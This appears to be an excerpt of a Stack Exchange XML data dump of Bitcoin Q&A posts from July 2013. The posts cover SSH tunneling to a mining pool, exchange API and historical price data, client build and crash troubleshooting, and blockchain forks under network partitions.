  <row Id="12202" PostTypeId="2" ParentId="12201" CreationDate="2013-07-16T07:45:01.333" Score="3" Body="&lt;p&gt;What you describe is tunneling through SSH. Assuming you can connect to an SSH from the servers (outgoing TCP port 22 is allowed). &lt;code&gt;A&lt;/code&gt; is the machine you want to run the miner on, &lt;code&gt;B&lt;/code&gt; is the SSH server which we use to tunnel the traffic through (this has to be able to open connections to the mining pool) and &lt;code&gt;C&lt;/code&gt; is the hostname of the mining pool you want to mine on, then it's a simple matter of doing the following on &lt;code&gt;A&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ssh -L 8888:C:1234 B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then pointing your mining software to &lt;code&gt;localhost:8888&lt;/code&gt;. What this does is open a connection to &lt;code&gt;B&lt;/code&gt; which may open connections to the mining pool and each connection to the local port &lt;code&gt;8888&lt;/code&gt; will be transparently forwarded to &lt;code&gt;C&lt;/code&gt;. Notice that you'll also have to change the port from &lt;code&gt;1234&lt;/code&gt; to whatever your mining pool uses.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-07-16T07:45:01.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12203" PostTypeId="2" ParentId="748" CreationDate="2013-07-16T08:30:16.623" Score="1" Body="&lt;p&gt;Bitcoincharts recently retricted the download for latest 20000 trades, it basically represents only two days of tick data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guys, if you have downloaded it before the restriction, would you mind sharing those past tick data? It would help me a lot.&#xA;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As promised, I'm sharing the way how I downloaded all historical trade-by-trade data from MtGox. Firstly, register at BigQuerry cloud database, at this time only download of 16k rows of data is enabled. Secondly go to bitbucket.org/nitrous/bq and download the software which automatize the data download. The whole database took approx one hour to download. Everything is free, no charges. Enjoy!&lt;/p&gt;&#xA;" OwnerUserId="5964" LastEditorUserId="78" LastEditDate="2013-07-25T15:05:31.117" LastActivityDate="2013-07-25T15:05:31.117" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12204" PostTypeId="2" ParentId="3313" CreationDate="2013-07-16T08:41:47.457" Score="5" Body="&lt;p&gt;You should try walletrecoveryservices.com since that appears to do just what you want. (brute forces bitcoin wallet recovery if you forget your password, without being able to steal your bitcoins)&lt;/p&gt;&#xA;" OwnerUserId="5977" LastActivityDate="2013-07-16T08:41:47.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12205" PostTypeId="2" ParentId="748" CreationDate="2013-07-16T08:43:47.690" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=218980.0&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; explains how to get a dump of past Mt Gox data and the &lt;a href=&quot;https://bitbucket.org/nitrous/mtgox-api/overview&quot; rel=&quot;nofollow&quot;&gt;Mt Gox API&lt;/a&gt; allows current data. Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="5978" LastActivityDate="2013-07-16T08:43:47.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12206" PostTypeId="2" ParentId="12165" CreationDate="2013-07-16T10:12:39.730" Score="5" Body="&lt;p&gt;I think the error is hardware based. Ran memtest86 and found multiple errors in my RAM. Also got a blue screen for the first time last night. Makes sense, sometimes bitcoin qt would run for minutes, other times days. I think it was hitting a bad address at different times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone else is getting this error, test your RAM with memtest86. Probably should have done this first thing. Prime 95 could also be used to test your processor (let Prime 95 run overnight, if there are no errors in the morning you can be 95% sure your processor is in pefect condition. Run it longer, say 48 hours, to be more sure).&#xA;Test your hhd/ssd with CrystalDiskInfo; it should display your drive's health instantly. (hdd/ssd shouldn't cause this error, as your controller detects and automatically doesn't use bad sectors.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prime95:&#xA;&lt;a href=&quot;http://files.extremeoverclocking.com/file.php?f=205&quot; rel=&quot;noreferrer&quot;&gt;http://files.extremeoverclocking.com/file.php?f=205&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Memtest86:&#xA;&lt;a href=&quot;http://www.memtest86.com&quot; rel=&quot;noreferrer&quot;&gt;http://www.memtest86.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CrystalDiskInfo:&#xA;&lt;a href=&quot;http://crystalmark.info/software/CrystalDiskInfo/index-e.html&quot; rel=&quot;noreferrer&quot;&gt;http://crystalmark.info/software/CrystalDiskInfo/index-e.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5937" LastActivityDate="2013-07-16T10:12:39.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12207" PostTypeId="1" AcceptedAnswerId="12221" CreationDate="2013-07-16T17:02:15.590" Score="20" ViewCount="1527" Body="&lt;p&gt;Many countries around the world have provisions for shutting off the Internet as well as isolating itself from the Internet (where networking within borders still flourishes), any transaction processing (mining) going on within that country will only find nodes within that country and start following its own chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a correct assumption?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, if this is a correct assumption, how will the network deal with this once it comes back online?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I foresee alt-chains emerging due to this, and persisting with their own exchange rates, very similar to the different fiat currencies today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Are my assumptions correct?&lt;/li&gt;&#xA;&lt;li&gt;What, if any, provisions does the bitcoin protocol have for forks of this size (which wouldn't necessarily be that large, but still have real consequences for people forced to use them)?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="5406" LastEditDate="2018-05-04T18:21:47.437" LastActivityDate="2018-05-05T18:04:42.223" Title="Countrywide Internet isolation, inevitable fork" Tags="|blockchain|blockchain-fork|chain-reorganization|politics|best-chain|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12208" PostTypeId="2" ParentId="12199" CreationDate="2013-07-16T18:17:01.067" Score="1" Body="&lt;p&gt;Every transaction fee is paid to miners. So whichever miner discovers your block gets all of the fees for your transaction, plus whatever other transactions are included in that block.&lt;/p&gt;&#xA;" OwnerUserId="5913" LastActivityDate="2013-07-16T18:17:01.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12209" PostTypeId="1" AcceptedAnswerId="12210" CreationDate="2013-07-16T18:50:32.180" Score="5" ViewCount="1585" Body="&lt;p&gt;I was wondering if anyone had advice for running bitcoind for multiple users. I obviously don't want users to get into other users transactions. As far as I can tell I'll need to run multiple instances of Bitcoind, but this is a terrible waste of bandwidth. Can I at least share the blockchain across users?&lt;/p&gt;&#xA;" OwnerUserId="5983" LastEditorUserId="5983" LastEditDate="2013-07-16T19:37:05.730" LastActivityDate="2013-07-16T20:56:11.803" Title="Bitcoind and multiple users" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12210" PostTypeId="2" ParentId="12209" CreationDate="2013-07-16T20:56:11.803" Score="4" Body="&lt;p&gt;Bitcoind allows you to house multiple and separate accounts in a single instance of the bitcoin client. Using the accounts feature is probably what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Accounts_explained&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4368" LastActivityDate="2013-07-16T20:56:11.803" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12212" PostTypeId="2" ParentId="12187" CreationDate="2013-07-16T22:50:25.720" Score="2" Body="&lt;p&gt;Start your client with the &lt;code&gt;-reindex&lt;/code&gt; command-line option. This will cause the database to be wiped and rebuilt from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your actual question: see the &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;Data directory&lt;/a&gt; entry on the Bitcoin wiki.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2013-07-16T23:44:43.143" LastActivityDate="2013-07-16T23:44:43.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12213" PostTypeId="2" ParentId="12146" CreationDate="2013-07-16T23:19:58.357" Score="0" Body="&lt;p&gt;Greed will always make it so that Determined individuals will do whatever they can to milk this situation - you will never be able to create a currency that &quot;pads against those who desire to profit&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if BTC dies in flames and we all have asics Hardware - there will be an active market of users who adopt a different sha-256 standard.  The reason so many scrypt alt coins exist is because FUD - Greedy Devs think that users like you &quot;want CPU&quot; viable coin and will go through the efforts of Copy/Pasting to create a &quot;new&quot; alt-chain type of coin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we now see, there are over 50 varieties of Alt-Coin...how come the vast majority of alts are all Scrypt?&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2013-07-16T23:19:58.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12214" PostTypeId="2" ParentId="12123" CreationDate="2013-07-16T23:36:09.377" Score="1" Body="&lt;p&gt;I would beg to disagree - we will see a similar effect when v2, v3, v4....vn rendentions of ASIC come around.  We will see 10X gains in Hashpower and roughly a 40% drop in power consumption.  This is all pure guesswork and speculation based on other responses I've seen and following the developments of KNC, BitFury, BFL, Avalon, and AsicMiner.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be said for that matter that we are already seeing the development of v2 hardware with the advancement of the 28 nm class of ASIC Chips. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will likely be a cascading effect of shifting retired hardware onto other Alt-chains as difficulty increases on the other off color alt-coins such as PPC, FRC, and TRC.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now using cyrptocurrency as a medium of exchange is very new...the ecosystem to spend them does not yet exist...if perhaps other services such as internet providers, mobile phone providers, insurance carriers, and other recurring cost structures will willing to adopt btc as a medium of exchange we would see the increases in usage and thus value (price)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smaller transistors both allow more transistors to be packed on each asic chip and also require less power overall to perform the same level of hashing compared to the larger obsolete transistor size.  I have read that underclocking allows power consumption to be reduced even further - it could be that these devices see between a 30 to 65% increase in GH rates as implied by the jump between Avalon to BFL to Bitfury to KNC.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="5486" LastEditDate="2013-07-19T11:36:46.233" LastActivityDate="2013-07-19T11:36:46.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12215" PostTypeId="2" ParentId="12190" CreationDate="2013-07-16T23:38:19.520" Score="1" Body="&lt;p&gt;BitPay provides an exchange rate quote:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitpay.com/bitcoin-exchange-rates&quot; rel=&quot;nofollow&quot;&gt;https://bitpay.com/bitcoin-exchange-rates&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-07-16T23:38:19.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12216" PostTypeId="1" AcceptedAnswerId="12226" CreationDate="2013-07-16T23:47:17.370" Score="5" ViewCount="4188" Body="&lt;p&gt;Is there a way to get BTC-E older ticks? &#xA;On their api docs I only found how to get the current Tick.&lt;/p&gt;&#xA;" OwnerUserId="5746" LastEditorUserId="2306" LastEditDate="2013-07-17T16:44:58.667" LastActivityDate="2013-07-17T16:44:58.667" Title="Getting BTC-E historical prices" Tags="|btce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12217" PostTypeId="1" AcceptedAnswerId="12218" CreationDate="2013-07-17T02:25:10.333" Score="0" ViewCount="2549" Body="&lt;p&gt;I get this message when i run my litecoin-qt client:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;all users must upgrade to litecoin 0.6.9.1 prior to 15 august 2013&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so i downloaded the &lt;code&gt;litecoin-0.6.9.2-linux.tar.xz&lt;/code&gt; file from litecoin.org and ran through this process: &lt;a href=&quot;https://forum.litecoin.net/index.php?topic=43.0&quot; rel=&quot;nofollow&quot;&gt;https://forum.litecoin.net/index.php?topic=43.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i have the new litecoin daemon running but the qt client has not upgraded. How do I upgrade the client? I'm using Ubuntu 12.04.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="105" LastEditDate="2013-07-17T19:31:48.373" LastActivityDate="2013-07-17T19:31:48.373" Title="Ubuntu update litecoin-qt wallet software" Tags="|litecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12218" PostTypeId="2" ParentId="12217" CreationDate="2013-07-17T02:40:39.283" Score="0" Body="&lt;p&gt;found the instructions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=63706.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=63706.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;basically just need to run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qmake &quot;USE_UPNP=-&quot;&#xA;make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the main directory to create the &lt;code&gt;litecoin-qt&lt;/code&gt; file&lt;/p&gt;&#xA;" OwnerUserId="2116" LastActivityDate="2013-07-17T02:40:39.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12220" PostTypeId="2" ParentId="11695" CreationDate="2013-07-17T07:00:41.780" Score="1" Body="&lt;p&gt;Definately do consider angel groups, in particular &lt;a href=&quot;http://bitangels.co&quot; rel=&quot;nofollow&quot;&gt;Bit Angels&lt;/a&gt;. They're a distributed worldwide group of angel investors interested in investing in Bitcoin businesses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outside of Bit Angels, you can definately raise around USD 1M from angels, though you'll have to pitch many of them. &lt;a href=&quot;http://Gust.com&quot; rel=&quot;nofollow&quot;&gt;Gust&lt;/a&gt; and &lt;a href=&quot;http://Angel.co&quot; rel=&quot;nofollow&quot;&gt;AngelList&lt;/a&gt; are the best platforms. See &lt;a href=&quot;https://www.quora.com/Gust/Founders-who-have-heard-of-Angel-List-often-havent-heard-of-Gust-but-angels-in-angel-groups-outside-TCA-which-doesnt-use-Gust-yet-seem-to-find-Gust-more-useful-than-Angel-List-Why-the-discrepancy&quot; rel=&quot;nofollow&quot;&gt;this Quora question&lt;/a&gt; for the difference between.&lt;/p&gt;&#xA;" OwnerUserId="4171" LastActivityDate="2013-07-17T07:00:41.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12221" PostTypeId="2" ParentId="12207" CreationDate="2013-07-17T07:20:39.287" Score="12" Body="&lt;p&gt;Your assumptions are perfectly right. Since there is no information exchange between the two partitions while the network is partitioned, and Bitcoin guarantees liveness, the global consistency suffers (see &lt;a href=&quot;http://en.wikipedia.org/wiki/CAP_theorem&quot;&gt;CAP Theorem&lt;/a&gt;). This means that each partition will have its own blockchain fork, unaware of each other. The forks are incompatible not just because the chain is defined to be a single path from a single header block to the genesis block, but also because transactions in the partitions will contradict each other (not least the mining generation transaction in the block).&#xA;Should the partition be prolonged the forks may even start to diverge in difficulty, as they will only see the computational power in their own network and adjust accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the merge, this is still being discussed and we do not have a good contingency plan. Letting the system merge the forks by itself, i.e., dropping the fork with the least work in it, would roll back the entire transaction history in that partition. A manual intervention by making the fork persistent (the alt-coin scenario you mentioned) is also not desirable, as it results in an immediate doubling of the funds in circulation, Furthermore it is likely that one of the forked alt-coins is going to whither and eventually be abandoned anyway. For now the best we can do is attempt to avoid prolonged chain forks, but the risks you pointed out are real and worth discussing before it's too late.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-07-17T07:20:39.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12222" PostTypeId="2" ParentId="11620" CreationDate="2013-07-17T07:29:49.433" Score="0" Body="&lt;p&gt;You could do this by chaining the refund and the transaction that you received. This way you could issue the refund as often as your system crashes without incurring the risk of returning more than you need. This is a bit tricky and you need to use the API from &lt;code&gt;bitcoind&lt;/code&gt; but SatoshiDice has been using it successfully  to return winnings. What you do is take the output that was sent to you and spend it in a transaction that refunds the sender. Since an output can be claimed at most once, the refund will be sent only once.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-07-17T07:29:49.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12223" PostTypeId="1" CreationDate="2013-07-17T10:16:34.653" Score="2" ViewCount="410" Body="&lt;p&gt;I want to subscribe to market depth updates using the streaming API &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/Streaming&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/MtGox/API/Streaming&lt;/a&gt;. I want to receive only depth updates for a particular symbol (EUR for example) or for all symbols.  So I connect to wss://websocket.mtgox.com and send the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;     &quot;type&quot;: &quot;depth&quot;,&#xA;     &quot;op&quot;: &quot;mtgox.subscribe&quot; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm expecting to receive depth updates for all symbols. But it sends me updates only for BTCUSD. Though the same subscribe command with parameter &quot;type&quot; = &quot;trades&quot; sends trades for all symbols (not only BTCUSD). That's a little confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The currency parameter is mentioned in API documentation: websocket.mtgox.com:80/mtgox?Currency=EUR, but after connecting to this websocket I receive ticker updates as well. But I don't need ticker updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is how can I receive only market depth updates for particular symbol? (or all of symbols)&lt;/p&gt;&#xA;" OwnerUserId="5891" LastEditorDisplayName="user5747" LastEditDate="2013-07-17T11:31:28.963" LastActivityDate="2013-07-17T18:34:46.433" Title="Subscribe for market depth updates using Mt.Gox streaming API" Tags="|mtgox|api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12224" PostTypeId="1" CreationDate="2013-07-17T15:04:37.050" Score="2" ViewCount="761" Body="&lt;p&gt;I'm thinking about installing &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoind&quot; rel=&quot;nofollow&quot;&gt;bitcoind&lt;/a&gt; on my web server that runs on &lt;a href=&quot;http://en.wikipedia.org/wiki/CentOS&quot; rel=&quot;nofollow&quot;&gt;CentOS&lt;/a&gt;. How much memory and bandwidth might it take up and would it affect my other sites on my server?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="1405" LastEditDate="2014-01-01T18:23:27.657" LastActivityDate="2014-07-30T22:03:37.617" Title="How much memory and bandwidth does bitcoind take up on a CentOS Linux system?" Tags="|bitcoind|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12225" PostTypeId="2" ParentId="12223" CreationDate="2013-07-17T15:45:37.630" Score="1" Body="&lt;p&gt;Heres how I do it in &lt;code&gt;node.js&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var events = require('events');&#xA;var io = require('socket.io-client');&#xA;&#xA;var MTGOX = function(){&#xA;    var self = this;&#xA;    var socket = io.connect('https://socketio.mtgox.com/mtgox');   &#xA;&#xA;    socket.on('message', function(data){&#xA;&#xA;        var message = data;&#xA;&#xA;        if( message.private == &quot;depth&quot;){&#xA;            self.emit('depth', data.depth);    &#xA;        } else if( message.private == &quot;ticker&quot; ){&#xA;            self.emit('ticker', data.ticker);&#xA;        } else if( message.private == &quot;trade&quot; ){&#xA;            self.emit('trade', data.trade);&#xA;        }&#xA;&#xA;    });&#xA;};&#xA;&#xA;MTGOX.prototype.__proto__ = events.EventEmitter.prototype;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then I just listen to the &lt;code&gt;depth&lt;/code&gt; event. Also I found &lt;a href=&quot;https://github.com/programmarchy/node-mtgox-websocket-client&quot; rel=&quot;nofollow&quot;&gt;this project&lt;/a&gt; helpful when I was first figuring this out.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-07-17T15:45:37.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12226" PostTypeId="2" ParentId="12216" CreationDate="2013-07-17T15:50:54.090" Score="3" Body="&lt;p&gt;Not from Btc-e though you can probably get them from &lt;a href=&quot;http://bitcoincharts.com/&quot; rel=&quot;nofollow&quot;&gt;bitcoin charts&lt;/a&gt; or start keeping your own and then just query that (thats what I did.) Btc-e's API sucks, but heres a &lt;a href=&quot;https://github.com/pskupinski/node-btc-e&quot; rel=&quot;nofollow&quot;&gt;project&lt;/a&gt; that makes several API calls not in their &lt;a href=&quot;https://btc-e.com/api/documentation&quot; rel=&quot;nofollow&quot;&gt;official documentation&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-07-17T15:50:54.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12228" PostTypeId="1" AcceptedAnswerId="17115" CreationDate="2013-07-17T16:16:35.567" Score="17" ViewCount="17005" Body="&lt;p&gt;When we buy coins from Coinbase, where do they get the coins from?&lt;/p&gt;&#xA;" OwnerUserId="841" LastEditorUserId="1475" LastEditDate="2013-11-22T21:27:31.820" LastActivityDate="2018-07-28T13:31:27.330" Title="Where does Coinbase buy coins from?" Tags="|exchanges|coinbase.com|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12231" PostTypeId="2" ParentId="12223" CreationDate="2013-07-17T18:34:46.433" Score="0" Body="&lt;p&gt;In Java, you can use the &lt;a href=&quot;https://github.com/timmolter/XChange&quot; rel=&quot;nofollow&quot;&gt;XChange&lt;/a&gt; library which provides this and other data through a unified API for a range of exchanges.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-07-17T18:34:46.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12233" PostTypeId="2" ParentId="4292" CreationDate="2013-07-17T20:50:39.440" Score="0" Body="&lt;p&gt;If you live in the Netherlands, you can get Bitcoins very easily via &lt;a href=&quot;http://www.bitonic.nl&quot; rel=&quot;nofollow&quot;&gt;Bitonic&lt;/a&gt;. You pay via iDEAL.&lt;/p&gt;&#xA;" OwnerUserId="2355" LastActivityDate="2013-07-17T20:50:39.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12234" PostTypeId="1" CreationDate="2013-07-17T22:17:42.883" Score="-1" ViewCount="83" Body="&lt;p&gt;So I deposited some bitcoin into my SR account, but then like an idiot I tried to withdraw the bitcoin using the same deposit address.  Technically it shouldn't have any effect since I basically withdrew my bitcoin from my e-wallet, to my e-wallet.  However, in my history it shows the bitcoin was withdrawn but its nowhere to be found.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way to get this back or is it gone forever?&lt;/p&gt;&#xA;" OwnerUserId="5993" LastActivityDate="2013-07-18T00:20:02.117" Title="accidental withdraw" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12235" PostTypeId="2" ParentId="12234" CreationDate="2013-07-18T00:20:02.117" Score="0" Body="&lt;p&gt;Wait a day, SR has been reported to process btc transactions very slowly before.  If it is still missing after a day open a support ticket with them.&lt;/p&gt;&#xA;" OwnerUserId="5830" LastActivityDate="2013-07-18T00:20:02.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12236" PostTypeId="1" AcceptedAnswerId="12681" CreationDate="2013-07-18T02:01:13.233" Score="3" ViewCount="5804" Body="&lt;p&gt;I'm attempting to run stratum-mining-proxy with minerd. Proxy starts and runs with the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python ./mining_proxy.py -o ltc-stratum.kattare.com -p 3333 -pa scrypt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Proxy starts fine. Run Minerd (U/P removed):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;minerd -a scrypt -r 1 -s 6 -o http://127.0.0.1:3333 -O USERNAME.1:PASSWORD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Following errors are received. This one from the proxy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2013-07-18 01:33:59,981 ERROR protocol protocol.dataReceived # Processing of message failed&#xA;Traceback (most recent call last):&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/stratum-0.2.12-py2.7.egg/stratum/protocol.py&quot;, line 185, in dataReceived&#xA;    self.lineReceived(line, request_counter)&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/stratum-0.2.12-py2.7.egg/stratum/protocol.py&quot;, line 216, in lineReceived&#xA;    raise custom_exceptions.ProtocolException(&quot;Cannot decode message '%s'&quot; % line)&#xA;'rotocolException: Cannot decode message 'POST / HTTP/1.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this from minerd. What am I doing wrong? Any help is appreciated!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2013-07-18 01:33:59] HTTP request failed: Empty reply from server&#xA;[2013-07-18 01:33:59] json_rpc_call failed, retry after 30 seconds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5975" LastEditorUserId="5406" LastEditDate="2016-04-17T20:26:34.710" LastActivityDate="2016-04-17T20:26:34.710" Title="Stratum Mining Proxy - Error decoding message on startup" Tags="|miner-configuration|stratum|proxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12239" PostTypeId="2" ParentId="11909" CreationDate="2013-07-18T10:10:24.053" Score="5" Body="&lt;p&gt;Try looking at these pages:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, a &quot;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=225690.0&quot; rel=&quot;nofollow&quot;&gt;Complete Guide on How to Create a New Alt Coin&lt;/a&gt;&quot; which, as the name says is a fairly step-by-step guide on how to create a new alt-coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, another thread started by someone who asked essentially the same question as yours: &quot;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=175891.0&quot; rel=&quot;nofollow&quot;&gt;How do you create an altcoin?&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The discussion which follows is a bunch of people discovering for themselves how to do it. Note that I haven't read through the entire thread (it's 15 pages long as of this posting), so I'm not sure if they ever successfully make an alt-coin or if they give up somewhere along the way. But it's an interesting read to see them figure things out and discover things together as a group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, &lt;a href=&quot;http://bitcointalk.org/index.php?topic=193025.0&quot; rel=&quot;nofollow&quot;&gt;A Psuedo [sic] Guide on how to Build an AltCoin&lt;/a&gt;, which doesn't go into as much detail as the Complete Guide linked above. In fact, it mostly just links to other threads on bitcointalk.org. That said, it may link to some information that answers some questions left from the other links.&lt;/p&gt;&#xA;" OwnerUserId="6000" LastEditorUserId="30405" LastEditDate="2015-11-13T15:21:40.560" LastActivityDate="2015-11-13T15:21:40.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12241" PostTypeId="1" CreationDate="2013-07-18T10:41:38.560" Score="1" ViewCount="2108" Body="&lt;p&gt;Why is the balance in my Bitcoin-Qt wallet different from the balance when I check the information about my address on blockchain.info? All transactions are confirmed.&lt;/p&gt;&#xA;" OwnerUserId="6002" LastActivityDate="2014-04-04T23:19:18.753" Title="Different balances Bitcoin-Qt vs. Blockchain.info" Tags="|blockchain|wallet|bitcoin-core|balance|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12243" PostTypeId="1" AcceptedAnswerId="12245" CreationDate="2013-07-18T14:01:26.757" Score="3" ViewCount="975" Body="&lt;p&gt;My non-profit organization received a donation for which no one contacted us to claim credit.  I am intrigued and would like to find out as much as I can about the donor using the blockchain.  What services / tools exist to do this?  Some ideas I have are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Did he/she embed a text message in the transaction?&lt;/li&gt;&#xA;&lt;li&gt;Can any information be gleaned from the web of transactions involving that address?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-07-18T15:28:36.703" Title="How do I investigate an address or transaction?" Tags="|blockchain|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
